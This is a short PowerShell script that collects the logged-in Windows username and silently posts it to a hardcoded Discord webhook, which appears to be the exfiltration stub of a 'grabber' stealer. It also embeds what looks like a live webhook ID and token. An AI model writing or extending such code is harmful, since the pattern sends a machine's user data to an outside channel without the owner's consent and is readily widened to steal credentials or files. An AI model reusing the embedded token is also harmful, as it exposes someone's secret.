# Define the webhook URL $webhookUrl = "https://discord.com/api/webhooks/1439316986130727013/eTFRdumZ5ZHUKtuK0tDlAoF3WbdzgIb6RqlxACn8633mPFnmAKwA3yEhNiIbE4wDnyO6" # Get the currently logged-in username $username = $env:username # Create a payload to send to the webhook $payload = @{ content = $username } | ConvertTo-Json # Send the payload to the webhook try { Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType 'application/json' Write-Host "Successfully sent username to the webhook." } catch { Write-Host "Error sending username to the webhook: $_" }